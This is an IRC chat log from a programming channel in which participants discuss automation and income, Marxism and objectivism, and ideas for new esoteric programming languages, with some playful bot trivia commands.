23:09:09 <\oren\> and they'll be just the first to be replaced with AI
23:09:37 <callforjudgement> \oren\: at some point we're going to have to decouple income from jobs, most likely; as long as society has enough wealth total to provide for everyone – and automation shouldn't reduce that – it's simply a case of finding a fair way to distribute money in cases where we can't base it on work (because there isn't enough work)
23:10:07 <rdococ> Maybe income should be based on actual needs.
23:10:21 <\oren\> rdococ: you should read Das Kapital
23:10:26 <rdococ> If you don't want a lot, then you don't get a lot - it's fine, because that would be what you want.
23:10:52 <\oren\> the marxist slogan was "from each according to his ability, to each according to his needs"
23:11:08 <callforjudgement> my personal hope is that we end up advancing science and the like so far and so fast, that there's so much wealth to go around that everyone can have all they want, within reason
23:11:26 <shachaf> callforjudgement: What about people who want all of it?
23:11:40 <\oren\> and now I'll be accused of being a marxist instead of being accused of being an objectivist
23:12:00 <rdococ> What would be wrong with being a marxist?
23:12:06 <callforjudgement> shachaf: well if there are even two such people, it wouldn't work, therefore it's objectively an unreasonable request :-P
23:12:24 <\oren\> rdococ: nothing really...
23:12:28 <callforjudgement> rdococ: I wonder if \oren\ is American, marxists and objectivists are associated with different ends of the political spectrum there
23:12:30 * Zarutian notes that Karl Marx was a right-wing Socialist.
23:12:47 <shachaf> Are North Americans American?
23:12:56 <shachaf> Anyway, of course it's unreasonable.
23:13:14 -!- erkin has quit (Remote host closed the connection).
23:13:48 <rdococ> Zarutian: now that is kind of odd.
23:13:54 <\oren\> callforjudgement: I'm canadian. the context is that earlier in a discussion with rdococ, the idea that mandatory schooling is comparable to slavery came up and someone accused me of being a Ayn Rand zealot
23:14:29 <\oren\> I should find it in logs...
23:14:34 <rdococ> From communism's definition, you'd think it was more left-wing than right-wing.
23:14:48 <rdococ> (I know that, because I did think that.)
23:15:33 <Zarutian> rdococ: not so much when you look into history in detail. And please note right-wing is meant in the royalists|elite|centralizationist sense.
23:15:43 <rdococ> Zarutian: ik
23:16:19 <rdococ> What we need is a left-winged version of communism.
23:17:07 <Zarutian> rdococ: like its original?
23:17:21 <rdococ> Zarutian, depends what the original is, I guess.
23:17:32 <Zarutian> rdococ: decentralized co-operatives without coercion.
23:17:48 <rdococ> Er...
23:18:01 <rdococ> k
23:19:25 <rdococ> The word <communism> itself sounds like it comes from <community> - which wouldn't be a bad name for a left-wing ideology.
23:19:41 <\oren\> found it
23:19:43 <\oren\> 16:05:16 <Phantom_Hoover> \oren\, fuck me are you an objectivist
23:19:54 <\oren\> 16:05:30 <\oren\> Phantom_Hoover: No, I'm a TROLL
23:20:01 <\oren\> lol
23:20:58 <Zarutian> but then again communism got hi-jacked by persons like Lenin. Which is something of a problem that must be addressed. Basically how to defend against Cult Of Personality.
23:21:25 <rdococ> It still seems senseless that Marx was right-wing.
23:22:02 -!- DHeadshot has quit (Ping timeout: 252 seconds).
23:22:15 <callforjudgement> Zarutian: this appears to be a problem for all forms of government, and finding a fix to it (that doesn't cause even worse problems as a side effect) would be very helpful to humanity in the future, I suspect
23:22:24 <shachaf> What's wrong with Lenin?
23:23:17 <rdococ> It's hard to come up with an original -ism.
23:23:58 <Zarutian> callforjudgement: well, something like psuedonymous liquid democracy where proposals can be submitted anonymously (yet still rate limited to prevent spamming) might be a tentative start.
23:26:14 <Zarutian> callforjudgement: basically let ideas, proposals and such battle unaided. Techniques for filtering or being at least aware of biases might be learned from lesswrong or other places that have studied applied cogniative techniques.
23:26:39 <callforjudgement> the problem is, what if a proposal ends up being blasted over the media or something like that?
23:27:17 <callforjudgement> or is worded to look good on the surface, but doesn't work if you think about it more deeply
23:27:31 <callforjudgement> or benefits the majority of people at the expense of a minority
23:28:17 <Zarutian> callforjudgement: this is why certain places of deep political discurse is not publically accessable or even known about.
23:28:57 <Zarutian> callforjudgement: basically, Speak Easies but for this kind of stuff.
23:36:42 -!- orby has quit (Ping timeout: 260 seconds).
23:46:43 <boily> `wisdom
23:46:46 <HackEgo> tht//THT is short for tails-heads-tails, a possible outcome of flipping three coins. It's the opposite of HTH.
23:46:55 -!- hppavilion[1] has joined.
23:46:58 -!- boily has quit (Quit: VIEW CHICKEN).
23:47:14 <hppavilion[1]> Aww
23:47:16 <hppavilion[1]> Missed boily
23:47:28 <rdococ> `? HTH
23:47:29 <HackEgo> hth ([ʰtʰh̩]) is help received from a hairy toe. It is not at all hambiguitous.
23:47:40 <rdococ> `? hthth
23:47:41 <HackEgo> hthth? ¯\(°​_o)/¯
23:47:43 <rdococ> I WON'T
23:47:51 <rdococ> >_M
23:47:52 <rdococ> <*
23:47:53 <hppavilion[1]> `tmflry hth
23:47:54 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory
23:48:00 <hppavilion[1]> `tomfoolery hth
23:48:01 <HackEgo> hth means "hope that helps"
23:48:04 <hppavilion[1]> rdococ: ^
23:48:08 <rdococ> ik what it means!
23:48:11 <rdococ> ugh
23:48:16 <hppavilion[1]> rdococ: OK. htha
23:48:19 <rdococ> god help me, give me a better idea for esostuff
23:48:40 <rdococ> I did have the idea of a sound chip that could only produce sine waves
23:48:57 <rdococ> maybe it could go with Teriyaki?
23:49:33 <Zarutian> rdococ: I propose that chip or functionality to be named SINfull
23:49:42 <rdococ> whyzat?
23:50:01 <rdococ> Oh.
23:50:02 <rdococ> duh.
23:50:15 * rdococ has lost the plot today :P
23:50:45 <Zarutian> of on an tangent, eh? Better square up then.
23:50:47 <hppavilion[1]> rdococ: Have you thought about making an esolang that could have real applications? One that takes the typical assumptions of mainstream programming languages and breaks them, creating a language with actual uses due to its eschewing of troublesome conformities?
23:51:46 <rdococ> I would love to be able to come up with an idea that could actually do that.
23:52:00 <rdococ> Zarutian: har har :P
23:52:23 <hppavilion[1]> I'm thinking about logic gates... I think a nice definition of the general concept is that a (g)logic gate is a function with a finite domain and codomain
23:52:42 <rdococ> that sounds about right
23:53:20 <callforjudgement> rdococ: I've spent years trying and haven't really succeeded (arguably because I'm aiming to find new models of programming, rather than merely make a practical esolang); but I keep trying, because I only really have to succeed once
23:53:30 <hppavilion[1]> Oh, hello ais523
23:54:08 <rdococ> The problem is, I have trouble coming up with new models of programming.
23:54:14 <callforjudgement> so does everyone
23:54:17 <rdococ> Ah.
23:54:23 <callforjudgement> it's not easy, or it'd be done more often
23:54:26 <rdococ> True.
23:55:34 <rdococ> "Declarative programming is when you say what you want, and imperative language is when you say how to get what you want."
23:56:09 <rdococ> What about when you say why you want it?
23:56:21 <rdococ> Nah.
23:56:27 <rdococ> That's dumb.
23:56:46 <callforjudgement> even dumb ideas lead to interesting languages sometimes
23:56:53 <callforjudgement> "why" information is mostly useful in optimizers
23:57:03 <rdococ> That is true.
23:57:07 <callforjudgement> so I wonder what a language which consisted entirely of optimizer hints would be like, with no actual code to be hinting on
23:57:59 <rdococ> Honestly, to me it just sounds like it would be a declarative language with strange syntax.
23:58:29 <rdococ> imagine the "how" or "what" was blank, and the "why" is "because I want to calculate the first ten digits of pi" or something.
23:58:59 <callforjudgement> nah, go up one level higher; the "why" is "because I'm implementing ISO standard xxxx"
23:59:37 <callforjudgement> I guess what you'd end up with would be a language that's based not around algorithms (imperative), nor around test cases (declarative), but around APIs
23:59:54 <callforjudgement> sorry if I'm not being very clear
←2017-04-16 2017-04-17 2017-04-18→ ↑2017 ↑all